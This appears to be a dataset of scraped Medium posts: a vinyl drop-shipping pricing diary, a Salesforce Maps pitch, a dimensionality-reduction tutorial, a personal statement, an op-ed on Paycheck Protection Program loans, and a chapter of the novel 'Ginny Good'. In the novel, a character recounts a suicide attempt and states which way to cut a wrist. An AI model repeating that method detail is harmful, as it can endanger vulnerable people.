June 18 — pricing blackout kit for drop shipping | Alex from HighTech3D gave me a great opportunity! He offered to do drop shipping with my blackout vinyl on his website. The deal is that he’d list the product on his website, and if he gets an order, he’ll send me a shipping label so that I can ship it.
Here’s the pricing breakdown for the goal price of $20:
$4 materials
$1.50 for Alex (exposure on HighTech3D and shipping logistics)
$1 for a 1.5" x 24" mailing tube
$1 Paypal fees (30 cents + 3.4% of price)
$4 shipping (to New Jersey from San Francisco as a test)
$8.50 my time and 10% cut failure rate (the vinyl often slips in the cutter and messes up the cut, also I’ve spent hours debugging the vinyl cutter)
I think this is pretty reasonable as it includes shipping, and if you were just to buy the matte vinyl from TAP plastics, it’s $3 per 1ft of the 2ft wide roll, so it would cost you $15 to buy the vinyl domestically anyways. I was able to get it cheap because I paid $400 for three 1.52x30m rolls (shipped via FedEx from China).
Now that the pricing is sorted out I bought the mailing tubes and we’ll have to make some nice photographs and copy for the website.
Shipping
My vinyl roll weighs 175g rounded up.
I bought this scale for a wagyu beef costco group buy that never happened… did you know costco sells wagyu beef for $1200 for 13 pounds? wagyu steaks are supposed to melt in your mouth like butter. :O
The mailing tubes on Amazon are 12.4lb for 50, so about 115 grams. 290 g to oz is 10.23 oz, so let’s say my package weighs 10.5 oz.
Shipping from San Francisco to New Jersey is $4! I figure shipping across the country is a good estimate.
Packaging test
The biggest piece of vinyl is just over 15" tall, so a 24" length mailing tube should be perfect.
I checked to see if the vinyl would fit inside a 1.5 inch diameter (well actually 1.38 inches taking into account the width of the mailer walls), and so long as I wrap it around a dowel that is the diameter of my marker (1.5cm) or smaller, it should fit fine. This is great news because the next size up is twice as expensive.
I also noticed that painter’s tape sometimes leaves sticky residue on the vinyl, so I made sure that the pieces of painter’s tape holding the rolls together were small, and it looks like it works. This one’s been in storage for about a month now, and no sticky residue left from the tape.
Never perfect
The thing I’m self conscious about with this product is that sometimes when I cut it the backing is not cut through on the whole cut, so there’s a bit of extra backing sticking out past the edge of the sticker.
It doesn’t affect the vinyl sticker, it just looks less professional. I experimented with doing a kiss cut instead of cutting through, but if you have to take the sticker off the backing before application it gets deformed really easily and it’s hard to apply it nicely (without tons of wrinkles). I can also adjust the blade to make a cleaner cut, but with a completely through cut the vinyl is more likely to slip and ruin the cut. I have been convincing myself that it should be fine as it doesn’t affect the function. To have it consistently nice I would either have to trim them off by hand (which would take a really long time), or invest in super expensive die cut tooling, which is how the professionals do it.
Similarly, the other things on the website are 3D printed rather than professionally injection molded with expensive tooling. We’re not rich corporations after all, just people. | https://medium.com/grow-bucket-life-project-kickstarter-diary/june-18-pricing-blackout-kit-for-drop-shipping-923f455a6b2 | ['Ruth Grace Wong'] | 2017-06-19 05:35:44.500000+00:00 | ['Startup'] |
2021: A Salesforce Maps Odyssey | Salesforce Maps could be a killer product for the short to mid term because — while the license costs are comparable to CPQ or Field Service — the implementation effort is far lower, resulting in that elusive blend of high-impact & affordability.
The $84m Salesforce acquisition of MapAnything went largely under the radar in comparison to their big-ticket Mulesoft, Tableau and Click Software deals.
But early results are showing the dreamy potential of the product.
A Monster 50% Increase in Productivity
What’s remarkable is it’s relative power and flexibility as a productivity tool — whether for Sales, Service or Operations.
Here at Brick Lane we’ve implemented the product a few times already and one Midwest manufacturer reported a 50% uplift in sales productivity.
Not bad at all for a sub-$10k investment.
It’s a good fit for any field based teams who — whilst relying on management for strategy & guidance — retain a level of autonomy in how they service their patch.
With tight budgets all round, it’s the optimal high-impact / low cost product of the moment. | https://medium.com/@aidan_41061/2021-a-salesforce-maps-odyssey-a4d1df2e6c17 | ['Aidan Flynn'] | 2021-01-26 17:23:49.979000+00:00 | ['Salesforce Productivity', 'Salesforce'] |
Dimensionality Reduction for Data Visualization: PCA vs TSNE vs UMAP vs LDA | In this story, we are gonna go through three Dimensionality reduction techniques specifically used for Data Visualization: PCA, t-SNE, LDA and UMAP. We are going to explore them in details using the Sign Language MNIST Dataset, without going in-depth with the maths behind the algorithms.
What is Dimensionality Reduction?
Many Machine Learning problems involve thousands of features, having such a large number of features bring along many problems, the most important ones are:
Makes the training extremely slow
Makes it difficult to find a good solution
This is known as the curse of dimensionality and the Dimensionality Reduction is the process of reducing the number of features to the most relevant ones in simple terms.
Reducing the dimensionality does lose some information, however as most compressing processes it comes with some drawbacks, even though we get the training faster, we make the system perform slightly worse, but this is ok! “sometimes reducing the dimensionality can filter out some of the noise present and some of the unnecessary details”.
Most Dimensionality Reduction applications are used for:
Data Compression
Noise Reduction
Data Classification
Data Visualization
One of the most important aspects of Dimensionality reduction, it is Data Visualization. Having to drop the dimensionality down to two or three, make it possible to visualize the data on a 2d or 3d plot, meaning important insights can be gained by analysing these patterns in terms of clusters and much more.
Main Approaches for Dimensionality Reduction
The two main approaches to reducing dimensionality: Projection and Manifold Learning.
Projection : This technique deals with projecting every data point which is in high dimension, onto a subspace suitable lower-dimensional space in a way which approximately preserves the distances between the points.
: This technique deals with projecting every data point which is in high dimension, onto a subspace suitable lower-dimensional space in a way which approximately preserves the distances between the points. Manifold Learning: Many dimensionality reductions algorithm work by modelling the manifold on which the training instance lie; this is called Manifold learning. It relies on the manifold hypothesis or assumption, which holds that most real-world high-dimensional datasets lie close to a much lower-dimensional manifold, this assumption in most of the cases is based on observation or experience rather than theory or pure logic.[4]
Now let's briefly explain the three techniques before jumping into solving the use case.
PCA (Principal Component Analysis)
One of the most known dimensionality reduction “unsupervised” algorithm is PCA(Principal Component Analysis).
This works by identifying the hyperplane which lies closest to the data and then projects the data on that hyperplane while retaining most of the variation in the data set.
Principal Components
The axis that explains the maximum amount of variance in the training set is called the Principal Components.
The axis orthogonal to this axis is called the second principal component. As we go for higher dimensions, PCA would find a third component orthogonal to the other two components and so on, for visualization purposes we always stick to 2 or maximum 3 principal components.
Source: Packt_Pub, via Hackernoon
It is very important to choose the right hyperplane so that when the data is projected onto it, it the maximum amount of information about how the original data is distributed.
t-SNE ( T-distributed stochastic neighbour embedding )
(t-SNE) or T-distributed stochastic neighbour embedding created in 2008 by (Laurens van der Maaten and Geoffrey Hinton) for dimensionality reduction that is particularly well suited for the visualization of high-dimensional datasets.
(t-SNE) takes a high dimensional data set and reduces it to a low dimensional graph that retains a lot of the original information. It does so by giving each data point a location in a two or three-dimensional map. This technique finds clusters in data thereby making sure that an embedding preserves the meaning in the data. t-SNE reduces dimensionality while trying to keep similar instances close and dissimilar instances apart.[2]
For a quick a Visualization of this technique, refer to the animation below (it is taken from an amazing tutorial by Cyrille Rossant, I highly recommend to check out his amazing tutorial.
link: https://www.oreilly.com/content/an-illustrated-introduction-to-the-t-sne-algorithm/
Source: Cyrille Rossant ,via OReilly
LDA ( Linear Discriminant Analysis )
Linear Discriminant Analysis (LDA) is most commonly used as a dimensionality reduction technique in the pre-processing step for pattern-classification.
The goal is to project a dataset onto a lower-dimensional space with good class-separability in order to avoid overfitting and also reduce computational costs.
The general approach is very similar to PCA, rather than finding the component axes that maximize the variance of our data, we are additionally interested in the axes that maximize the separation between multiple classes (LDA)[5].
LDA is “supervised” and computes the directions (“linear discriminants”) that will represent the axes that maximize the separation between multiple classes.
UMAP ( Uniform Manifold Approximation and Projection )
Uniform Manifold Approximation and Projection created in 2018 by (Leland McInnes, John Healy, James Melville) is a general-purpose manifold learning and dimension reduction algorithm.
UMAP is a nonlinear dimensionality reduction method, it is very effective for visualizing clusters or groups of data points and their relative proximities.
The significant difference with TSNE is scalability, it can be applied directly to sparse matrices thereby eliminating the need to applying any Dimensionality reduction such as PCA or Truncated SVD(Singular Value Decomposition) as a prior pre-processing step.[1]
Put simply, it is similar to t-SNE but with probably higher processing speed, therefore, faster and probably better visualization. (let’s find it out in the tutorial below)
Use Case
Now we are going to go through the above-mentioned use case where all the three techniques will be applied: specifically, we will try to visualize a high dimensional dataset using these techniques: The Sign-Language-MNIST Dataset:https://www.kaggle.com/datamunge/sign-language-mnist
(Sign-Language-MNIST Dataset), screenshot from kaggle.com
The Data
Size of the train Data
The number of unique labels
Note that: There are 25 unique labels representing the number of distinct sign-languages. Now for better visualization (“ it is very difficult to observe all 24 classes in a single visualization”) and for faster computation. I am only keeping the first 10 labels, omitting the rest.
Implementing Plotting Functions
Standardizing the data
Implementing PCA
After applying PCA, the new dimensionality of the data now has only 3 features compared to the 784 features of the x data.
The number of dimensions has been cut down drastically whilst trying to retain as much of the ‘variation’ in the information as possible.
— PCA — 2D — | https://towardsdatascience.com/dimensionality-reduction-for-data-visualization-pca-vs-tsne-vs-umap-be4aa7b1cb29 | ['Sivakar Siva'] | 2020-12-31 14:12:39.285000+00:00 | ['Dimensionality Reduction', 'Artificial Intelligence', 'Machine Learning', 'Data Visualization', 'Data Science'] |
My statement of intent | I wrote the passage that will follow a few years ago. I didn’t date it, but I am amazed at how timeless it is. Recently I was asked if I lived by all that I write and the answer is I do my very best. I am not ashamed to say that on some days I fail miserably because I am proud to say that those days teach me.
So here it goes. My statement of intent:
“I would like to live a simple life. A life where time and quality is applied to the necessities in life. I want to concentrate on loving, healing and learning. I will find meaning in the everyday. In the simple pleasures and the small accomplishments brought by a task fulfilled. I know that I can accomplish great things . I know that I am more than the confines that I limit myself to. I know that I am the only one able to release my potential and turn it into reality, into accomplishments.
I also and above all know that I am not defined by these accomplishments. I am defined as a person by the way I act towards others and towards myself.
To act with love, kindness and compassion.
I chose to live with integrity and genuine intention. Whether I do this while washing dishes, or running Amazon or a whole country does not matter.
I will govern over myself first of all and above all. I will remind myself of the truth until it is permanently part of my being.
I will keep dreaming of the amazing things I will do but I will not attach meaning or value to them. Rather I will be grateful for my lot. I will not ask for more or less.
I have faith that what I encounter is neutral and I have the power to alter outcomes through perception, vision and strategic action.”
What is your statement of intent? What kind of person do you aim to be?
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Or Follow us on Twitter | https://medium.com/@underthegreenwoodtree/my-statement-of-intent-fc297827f60b | ['Under The Greenwood Tree'] | 2020-12-27 11:03:57.801000+00:00 | ['New Years Resolutions', 'Motivation', 'Reflections', 'Self Improvement', 'New Year'] |
Paycheck Protection Program Loans — The Good, The Bad, And The Ugly | Photo by Zac Nielson on Unsplash
This story originally appeared on Forbes.
The Paycheck Protection Program (PPP) funds have been exhausted. In less than two weeks, $349 billion has been claimed by around 1.6 million small business owners. While that may seem like a lot, 1.6 million is a mere 6% of America’s small businesses. This means 94% of small business owners, many of whom have applications pending both with Lendio and other lenders, have been left to fend for themselves.
As someone who has spent my entire career focused on solving problems for small business owners, that 94% statistic hits me hard. As thrilled as I am for the over 70,000 small businesses Lendio helped secure relief funds for, I am devastated for those who have been left out.
There’s a lot we have learned over the past two weeks as a nation, as an industry and as business owners. It’s important to take a closer look at the good, the bad and the ugly of the Paycheck Protection Program, and most importantly, what needs to be done next.
The Good
From the get-go, this program was ambitious. Financial institutions, small business owners and government agencies alike knew there would be challenges, delays and failures. But with less than a week’s notice (and fewer than 12 hours to build the final application) financial institutions around the country created some semblance of a formal process and began accepting applications.
As of me writing this, it looks like the Lendio platform alone processed over 70,000 applications for around $5.8 billion in total funding. To put that into perspective, in all of 2019, the SBA processed 60,000 loans. Somehow, we were able to accomplish that in less than 14 days.
It became apparent fairly early on in the program’s launch that many segments of small business owners may find themselves with nowhere to turn. Big banks, if they participated in the program at all, prioritized their customers first. Small business owners without a prior relationship with an SBA-approved lender began to feel left in the cold. Mom and pop shops and micro-businesses are often overlooked by large banks in times of real need, and this shouldn’t be the case when government relief funds are being distributed. Many of these businesses turned to online marketplaces and non-bank SBA lenders.
For the program as a whole, the average PPP loan size was just under $240,000. For business owners who came to Lendio, the average was just over $82,000 — one third the national average. Much of the reason why I have been so vocal about the participation of fintech lenders is due to the fact that these lenders’ super power is processing smaller loan amounts at a higher volume. Community banks, on the other hand, specialize in processing large amounts at a lower volume; this is not what Main Street needs right now.
The fact that fintech and non-bank lenders have been approved to participate in the distribution of PPP loans will make a world of difference if and when more funds are appropriated. Small businesses would have benefited more had these lenders been approved earlier in the process (most of them weren’t approved until the money had actually run out), but they can take heart knowing that more high-tech options will be available in the next phase.
The Bad
Many banks were not able to pull off the program in such a short amount of time. Even large, national banks were scrambling at the last minute to get applications up. And if they managed to do so, most prioritized their own customers, with some even prioritizing specific segments of their customers.
In addition, the SBA didn’t approve every FDIC bank and credit union — only those that were SBA-licensed lenders. That means, if you’re a small business customer of a bank that is not SBA-licensed, you were forced to go to a different bank to apply. Only problem? That bank was so overwhelmed with the volume of applications that they started prioritizing their own customers.
This prohibited many of the business owners who truly needed the funds — those with only enough cash to cover a few weeks’ worth of expenses — from being able to apply. Had all banks, credit unions, and fintech lenders (who we know can process huge volumes of small-dollar loans) been approved beforehand, or early enough, the smallest businesses would have had a fairer shot at their portion of the funds.
Another problem that plagued many financial institutions around the country was getting “pristine” applications to submit to the SBA. Ever-changing requirements led to many business owners’ applications bouncing back from the SBA. Most lenders found out early on that the PDF application that was released by Treasury was missing a few important data points (date of birth, business start date, and 6-digit NAICS industry code) that were needed to submit the application through E-Tran.
The rules also changed days into the launch of the program about whether a business owner could submit an application to more than one financial institution. This created a lot of confusion and trepidation for business owners who wanted to ensure they followed the guidelines to a tee, while also ensuring they secured a place in line with the fastest-moving loan processor.
The Ugly
By far the worst news is that 28 million business owners, including applicants to Lendio, still don’t have cash in their accounts. This is heartbreaking. With each passing day more are closing their doors and laying off employees.
This round of relief funds was simply not enough. After looking at the average loan sizes and demand, I estimate that nearly $850 billion is what it will take to get small businesses through this crisis.
What Comes Next?
The priority now must be to get Congress to approve additional PPP funds. The increase is already in discussion and has bi-partisan support to some degree, but it is time to get it passed and get these funds into the hands of the nation’s small business owners.
Business owners can sign this petition urging Congressional leadership to band together and get these funds approved. They can also reach out to their representatives directly and voice their concerns.
Until then, financial institutions are preparing for the second wave of approvals. Ideally, the SBA will also approve all banks, credit unions, and legitimate fintech lenders to participate in this next round so that those small business customers that were placed at a disadvantage in the first round will become the priority in round two. With SBA’s early E-Tran problem resolved, I am confident the next wave of capital distribution will be much faster. Business owners who did not get funded in the first round should work now to ensure their applications are in pristine condition.
The last few weeks have been an all-out brawl, from solving technical issues to deciphering legislation to managing expectations to dealing with incredible frustration. In this unprecedented time of crisis and need, there is nothing I would rather be doing than helping small business owners. My co-founder and I started a business on the idea that fueling small businesses fuels the American dream. Now the focus is on saving it. | https://medium.com/the-entrepreneur-life/paycheck-protection-program-loans-the-good-the-bad-and-the-ugly-97fd45cfde9b | ['Brock Blake'] | 2020-05-20 14:19:13.243000+00:00 | ['Finance'] |
Ginny Good: Chapter 10, 45th Avenue (Spring, 1963) | (Nat King Cole, Mona Lisa)
It was foggy out in the Avenues. It’s always foggy out in the Avenues. Wind blew drizzle into my face. My hair wouldn’t stay combed right. I could feel it all pushed over to the wrong side and sticking up in back. I tried patting it down, but that just made it feel like it was sticking up all the more, so unless I wanted Ginny’s first impression of me to be a cross between Alfalfa and Dagwood Bumstead, I figured I’d better get out my comb and try combing it — which wasn’t really all that easy. I had these flowers, see, and there wasn’t a mirror anywhere.
There was a shiny silver doorknocker, however. Ha! I put the flowers between my legs, squatted down a little and got out my comb. The doorknocker was like a mirror in a fun house. First I was nothing but chin, then I had the longest, saddest eyes I’d ever seen and a tall, tall forehead, like a Pharaoh, and when I finally got to the top of my head, my hair kept sticking up in back, higher and higher, like it wasn’t ever going to stop.
Ginny pulled the door open. Her face was where the doorknocker had been. I was looking right into her eyes. She was looking right into mine.
“Gadfrees! Gerry?”
“Hi,” I said, still all scrunched down with this bunch of snapdragons and chrysanthemums sticking out from my crotch and a long, white comb hovering over my head like I was maybe trying to do the Limbo and give myself a benign lobotomy at the same time. “Here. I got you these.”
I took the flowers out from between my legs and pushed them toward her chest. She didn’t take them. She just stood there.
She had on a torn red sweatshirt, a pair of worn out jeans with the cuffs rolled up and a pair of white, unlaced Ked’s with no socks. Three yellow barrettes held her hair in an unruly pile on top of her head, and her face was so pretty and perky and pesky and smug that I barely heard her when she crinkled up her nose and cocked her head over to one side and asked, “Are you supposed to be here?”
“I thought I was, yeah. Wasn’t I?”
“Gosh…maybe,” she said and took the flowers.
“You want me to make it some other time?”
“Oh, dear! This is awful. Okay, I know what. Here. Take these back.” She handed me the flowers again and I wished for the umteenth time that I’d never stopped off at Pete’s. “We’ll start all over. Come back in ten minutes.”
I drove down to Ocean Beach and listened to the radio. I don’t know for how long exactly, but I know it would have been for longer than ten minutes. (The Beatles, Love Me Do) (Gene Chandler, Duke of Earl) (Lesley Gore, It’s My Party) (The Rooftop Singers, Walk Right In) (The Shirelles, Will You Still Love Me Tomorrow)
(The Beatles, She Loves You)
Then I pulled the car up in front of her house again. That must have been when I left the lights on. I knocked on her door one more time. I didn’t care what the hell my hair looked like.
“Come innnn…” She dragged out the word like she was singing some kind of kid’s song, like we were still pretending I hadn’t already been there. I tried opening the door. It was locked. I knocked again.
“It’s open!”
“It’s locked!”
“It sticks!”
It sounded like she said “instincts,” like I was instinctively supposed to know some secret way of getting the son of a bitch open. “I think it’s stuck,” I said.
“Bash it!” she yelled.
I bashed into the door with my shoulder, but it still didn’t budge. Then I turned the knob and bashed into it again and ended up sliding along like a surfer on a slippery little rug that almost sent me crashing into an umbrella rack and a stack of books on a little table under a mirror on the wall in her hallway. (The Surfaris, Wipe Out)
I expected Ginny to be standing there with a big grin on her face, but she wasn’t. She was in her bedroom with the door closed.
There was a sliver of light coming from under the closed door. A shadow passed through the light. I heard a drawer open. The shadow moved out of the light. A coat hanger rattled. A zipper zipped and unzipped. The slightest sound was amplified by my imagination. I could almost feel her putting things on and taking them off again. What sounded like a tube of lipstick tapped against what sounded like the top of a glass vanity table. An eyeliner brush popped out from an eyeliner bottle.
I put the flowers down, looked into the mirror, and was distracted by the daunting thought that she’d probably want to order drinks. What if the waiter wanted to see my ID? I was still only twenty. Ginny had just turned twenty-two. I was a little over a year younger than her. She didn’t know it, but I did. I also knew that as soon as I got her out to my car, everything would be fine.
I had it all pictured. Once we got to my car, she’d ease herself down into the understated luxury of those leather seats, and I’d maybe run the antenna up and move the passenger seat back…and when she heard the comforting hum of all those little electric motors moving things around, the last thing she’d be wondering would be who was older than who. She might even sort of snuzzle up against the side of my neck where I’d had the foresight to dab a little more of the Old Spice I kept in the glove compartment while I’d been listening to the radio down by the beach.
Ginny came out of her room wearing a red silk dress with tiny black buttons up the back. Her hair was thick and brown and curly. Bangs covered her forehead. She had to peek out from under them when she wanted to see. Her eyes were light, light blue…and green, and gray, and more amused than ever. What was so funny, I did not know. She took a long black coat out from the hall closet and handed it to me. My best guess was that she expected me to hold it for her. I held it for her. She slipped her arms into the sleeves of the coat and snuggled it around herself.
Ginny pulled the door closed behind us, turned toward the street and finally saw my gorgeous white Lincoln for the first time.
“Ooo, is that your car?” she asked in such a sweet little voice it almost sounded like she was cooing.
Overwhelming pride swelled inside me. “Yeah,” I said.
“Why’d you leave the lights on?”
I ignored her question, calmly opened the passenger door, made my way around to the driver’s side, got in, came up with a mental image of how everything was still going to be all right, turned the key in the ignition, and actually expected the engine to start. But it didn’t. I tried and tried, again and again. Pretty soon, all it did was click.
“Maybe we should call Triple-A,” Ginny suggested.
“I don’t have Triple-A.” I shook my head.
“Oh,” she said.
All the other things I didn’t have rippled the surface of my fragile confidence like someone had thrown a pretty good-sized boulder into it. I didn’t have anything. All the money I had in the world was wadded up in my pants’ pocket, and I was three years in debt for this piece of shit car that sat there clicking at me — telling me things I already knew. I was a kid. I sold cheap-ass shoes at a cheap-ass shoe store in the cheap-ass city of cheap-ass San Bruno for a living. My hair wouldn’t stay combed right. I was out of my league, in over my head, barking up the wrong tree — click, click, click, you dumb cluck — but the amazing thing was that Ginny didn’t seem to mind any of that. She seemed to sort of like it, in fact.
She probably felt like I did when I went out with someone like Norma Arce. Ginny knew nothing could ever really come of it, but she was intrigued. I was cute. I liked her. I made her laugh. What harm could it do? I wasn’t the sort of guy she’d ordinarily have anything to do with. That made me extraordinary. Ha!
We ended up taking Ginny’s big black Buick Roadmaster — one of those ones that used to have five little portholes on the sides. She had the seat up as far as it would go and still had to stretch some to reach the pedals. There were notes written in felt pen across the dashboard:
“Turn off Lights!
Lock Doors!
Remember Keys!”
Ginny waved to the notes and laughed. “Don’t pay attention to any of that. Mother wrote it. She thinks I have brain damage.”
(Miles Davis, Sketches of Spain)
We went to a restaurant called Ripley’s. It was in North Beach. You had to go down some narrow stairs. There were red and white-checkered tablecloths on the tables and candles in glass goblets and a fog of cigarette smoke hanging in the air.
When Virginia moved to San Francisco she went through one of those underground gourmet guides and made up an alphabetical list of restaurants to go to when she went out on dates. Ripley’s was the next one on the list. I gave the alphabet a quick run through. Hey, it could have been Vanessi’s.
The guys she was used to going out with were “men” from Harvard and Yale and Stanford — guys who could afford to gamble the price of dinner at a fancy restaurant on the off chance it might get them into her good graces. She’d been a debutante. Her father grew up on an estate in Westchester County. They had a summer cottage in Newport. Her grandmother dolled out toilet paper from a locked cupboard, one square at a time. There was Frick money in the mix.
The maitre d’ seemed to have sized us up based on his impression of me rather than her, however, and led us over to a table by the kitchen door. That didn’t last long. After exchanging a few fidgety glances with a Filipino dishwasher, Ginny stood up, took me by the sleeve of the burnt-orange Orlon sweater I was wearing — along with a really cool burlap-colored button-down shirt — and marched me over to an empty table against the far wall.
I lit a cigarette, propped my napkin into a small tent and blew cigarette smoke through a flap at the bottom. The maitre d’ spotted us. He looked toward the table we had vacated, frowned and started walking toward us. Ginny rolled her eyes and shooed him away.
“He looks sort of mad.”
“Mad, schmad. He works in a restaurant, for God’s sake.”
“I never went out to dinner much. The only place my parents ever took us was to Hedge’s Wigwam. It was some fancy cafeteria-style place, up on Woodward Avenue, down toward Detroit.” I gave directions with my hands. “There was a wigwam on the roof.”
“Is that why you’ve made your napkin into a teepee? Or has it become fashionable to order wine by smoke signals?”
“Sorry.” I moved the napkin onto my lap.
“Don’t be sorry, dodo. If you want to make teepees, make teepees. Recreate the whole battle of the Little Big Horn if you want, but if you’re just nervous…”
“I’m not nervous,” I said nervously, a few words shy of telling her I wasn’t quite twenty-one yet, either.
“Have you ever read The Confidence Man?” she asked. “It’s just confidence. That’s all anything is. If you’re confident, whatever you do’s the right thing to do.”
“…and if you’re not?”
“Did you want to sit next to garbage cans?”
“No, but isn’t it okay to just let things happen the way they happen?”
“Oh, how very Zen and boring.”
“I was confident New Year’s.”
“I barely remember New Year’s.”
“I kissed you. At midnight.”
“You did?”
“Yeah. You kissed me back, like, sort of a lot. You don’t remember any of that?”
“Heavens, no. I have blackouts. I’m an alcoholic,” she said brightly. “There was some sort of mix up, I know. I was supposed to go out with Ronnie and Charles showed up — or the other way around. I forget. It was all terribly confusing. We ended up all going together. That’s the last thing I remember. Ronnie didn’t tell me much the next day. And Charles still hasn’t called. It’s been ages.”
“The other guy’s still around?”
“Ronnie? Absolutely. Yes. Ronnie’s not going anywhere.”
“What does he think about…you know…” I moved my hands at the wrists, trying to think of exactly the right words. “…you…going out with me?”
“He says I’m like the Mona Lisa.”
“You’re way cuter.”
“Thank you, dahling.”
“I don’t get that Mona Lisa thing, though,” I said.
“Ronnie doesn’t want to seem possessive. He says keeping me all to himself would be like keeping the Mona Lisa all to himself. Isn’t that sweet?”
“I guess,” I said and made a dismissive little gesture with my left hand. “But, to tell you the truth, it looked to me like they both wanted you all to themselves. The only thing that kept them from killing me was Elliot.”
“Who’s Elliot?”
“My friend. The guy in the uniform? With the Green Beret?” I pointed to my head. “He’s in Vietnam now. He’s supposed to be some big pacifist. He wore a mask over his mouth for a while so he wouldn’t accidentally kill any innocent gnats. Why he joined the army nobody knows.”
“That vaguely rings a bell. I think I remember him…your friend…Elliot. I remember thinking, ‘How romantic! Marching off to war.’ This is getting a trifle absurd,” she said in a soft, determined voice and called confidently across the room, “Yoo-hoo! May we see a menu, please?”
One of the waiters showed up. Ginny ordered wine. The guy didn’t ask to see my ID. She’d quietly taken over. It was like “My Fair Lady.” I was some uncivilized wretch she’d been given a once in a lifetime chance to study and refine.
When the wine arrived, she tasted it, smiled and said something to the waiter in French. I thought, uh-oh, she was going to send the wine back for some reason, like maybe just to show me it could be sent back, which only would have led to another chance for someone to ask to see my ID — but she didn’t. She did everything just right. Even the maitre d’ came by to see how things were going. Swimmingly, or some such thing, Ginny told him, also in French.
When it came time to order, I pointed to something in the mid to low price range. The waiter nodded his guarded approval. Then she started rattling off a whole slew of other things and the waiter kept getting more and more enthusiastic.
“Bon. Tres bon. Magnifique!”
Magnifique, my ass, all the money I had in the world would barely pay the bill and I’d just cashed my paycheck…well, fuck the car payment, this was worth it.
What I’d pointed to turned out to be duck. The only other time I ever ate a duck before was when my father shot one, and then I had had to be careful I didn’t chip a tooth on the birdshot still stuck in its flesh. The duck the waiter brought me had hot orange marmalade poured all over it, however, and I had no idea how I was supposed to eat the thing. If I tried to eat it with my fingers, it would have been like trying to eat a hot fudge sundae with my fingers, and if I tried using a knife and fork, the son of a bitch would have ended up in my lap — so I pretty much just made do with French bread dipped in hot orange marmalade sauce, and we took what was left of it and the rest of all the other stuff Ginny had ordered home with us in doggy bags.
(Miles Davis, Sketches of Spain)
Virginia slipped her arms out of her coat while I held it for her. A spark of electricity shot through my fingers. She kicked off her shoes and asked me to unbutton the back of her dress. I lifted her hair. There were freckles on her shoulder. And a mole. I told her about it. “You have a mole on your shoulder.”
“I know. I have one on my fanny, too. Ooo, rub right there.” I dug my thumb under her scapula. “Harder. Feel the knots? My shrink says I have neurasthenia.”
“Doesn’t that hurt?”
“No, it feels yummy. Down more…right there. Oh!”
“I can’t get any leverage.”
“I’ll put on my jammies.”
She’d been saying odd little things like that all night, things that made her sound like a four-year-old kid. Jammies. Fanny. Namby-pamby. Yummy. Mummy. Tummy. Tum. Tum-tum. Gads! Gadfrees! Dodo. Doo doo. Yow! Yowie, zow! Well, she went back and forth. At the restaurant she’d had to be efficient. With other guys she probably talked like a four-year-old kid all the time, but with me that wouldn’t have been practical. We never would have made it to the restaurant, for one thing, and if we had somehow made it to the restaurant, we wouldn’t ever have gotten waited on and never could have ordered wine. But now that we were back at her apartment she could finally be more herself again.
Ginny disappeared back into her bedroom. I put the doggy bags into her otherwise almost empty refrigerator — a bottle of ketchup, a jar of dill pickles, a couple of cartons of Chinese take-out, taco sauce. It crossed my mind that she went out on dates instead of going grocery shopping. The kitchen walls were shiny yellow enamel. Her mother had written all over them, too, only this time she’d had more room. The letters were gigantic:
“TURN OFF GAS!
TURN OFF LIGHTS!
LOCK DOORS!”
Back in the living room there were books and records stacked in lopsided piles everywhere. In one corner, there was a prayer shawl stretched over a plank of driftwood perched across a couple of cinder blocks. Ginny called it her shrine. On top of the shawl, there were five or six votive candles in bumpy red glass candleholders, a few pinecones, some seashells, feathers, dried flowers and three pictures the size of post cards. I didn’t know it at the time, of course, but the pictures were of Virginia Woolf, Marcel Duchamp and Gurdjieff.
I sat down cross-legged on the rug. Ginny came out from her bedroom wearing a long white flannel nightgown. The nightgown had tiny blue roses all over it. She was carrying a lit candle. She used it to light the rest of the candles on her shrine. Then she went into the kitchen, got a bottle of Beefeater Gin and two pretty good-sized drinking glasses, turned on all four burners of the stove and turned out the bright kitchen light. She put the gin and the candles and the glasses down in front of me, then went over and sorted through one of the stacks of records. I filled our glasses and thought it was sort of slick that a girl named Ginny liked to drink gin.
“I feel like Bach,” she said.
“You don’t look like Bach.”
She smiled the sort of smile the remark deserved. She liked me. I could tell. She put on “The Magnificat,” rigged up the record player to keep playing the same record over and over and, finally, plopped herself down in front of me. (J. S. Bach, The Magnificat)
The room was aglow with a combination of eerie blue flames from the stove in the kitchen and reddish flickering flames from the candles. Under her nightgown, I saw a pair of white cotton panties. Her hair hid her face. She peeked out from under her bangs. We drank her gin and talked and touched each other’s hands, and the shadows of our hands flitted across the rug and flew across the walls like prehistoric birds.
(J. S. Bach, The Magnificat)
It was like we were telling ghost stories, like we were kids in a cave. I told her about the Leapies. The Leapies were little green florescent things I made up when I was a kid. They looked like clothespins and never did anything but leap. That was all they ever wanted to do. They lived in heaven. I sang her the song:
“La la-la…all is calm, all is bright.
‘Round yon virgin, mother and child,
Holy Infant, so tender and mild.
Sleep in heaven, Leapies.
Sleep in heaven, Leapies.”
“How darling! Someone should make up a psychological test of how you hear things! What a good idea! Freudian hears! Don’t you usually like what you hear better than what people say?”
“It’s probably not a bad idea to know what was actually said sometimes, too.”
“You sound like a lawyer.”
“How’d you do that?” I touched the scar on the inside of her right wrist. I didn’t exactly want to get into a conversation about careers.
“With a broken bottle, I’m told. I was blacked out. Not very aesthetic, are they? Or effective. Tendons got in the way. You’re supposed to cut up and down, not across.” She demonstrated. “Live and learn, la la-la. (J. S. Bach, The Magnificat) From what I remember, it wasn’t that exciting. Or noble. Warranted, maybe. Noble, no.” She seemed to be talking to herself, nodding and shaking her head at the appropriate places. “I was at school. It was Christmas. I get funny around Christmas. I have since Daddy left. Roger knew that.”
“Who’s Roger?”
“My beau. Ex-beau. Roger Singmaster. I was at Sarah Lawrence. He was in grad school at Brown. His father’s a partner in some big law firm. They live outside Philadelphia. His mother teaches French Lit at Penn. Roger was going to be a banker. He’d been going to be a politician but decided bankers had more influence. “He was charming and glib and confident, with intense dark black eyes and a shy, crooked smile — and the darlingest little cleft in his chin. We’d been dating for ages. We used to meet at a hotel across from Gramercy Park. It was all very tawdry. I had long luscious orgasms like melting Hershey Bars. Pigeons cooed on the windowsill.
Mother adored him. We were supposed to get married. We were supposed to be in love. We were in love. Then I don’t know what happened.”
Her voice trailed off then came back, talking even more to herself than ever,
(J. S. Bach, The Magnificat)
“He went home for Christmas. It’s barely been a year. I stayed in the dorms. Everyone was gone. It was like Dickens. Empty hallways. Banging shutters — so I got drunk and took the train to Philadelphia and caused a big ruckus. His parents were conciliatory. His mother suggested that I might simply have been taking up too much of Roger’s time. His father talked about ‘the long term.’ I threw a brandy decanter through the dining room window.” She stopped.
“Yeah? And?” I said.
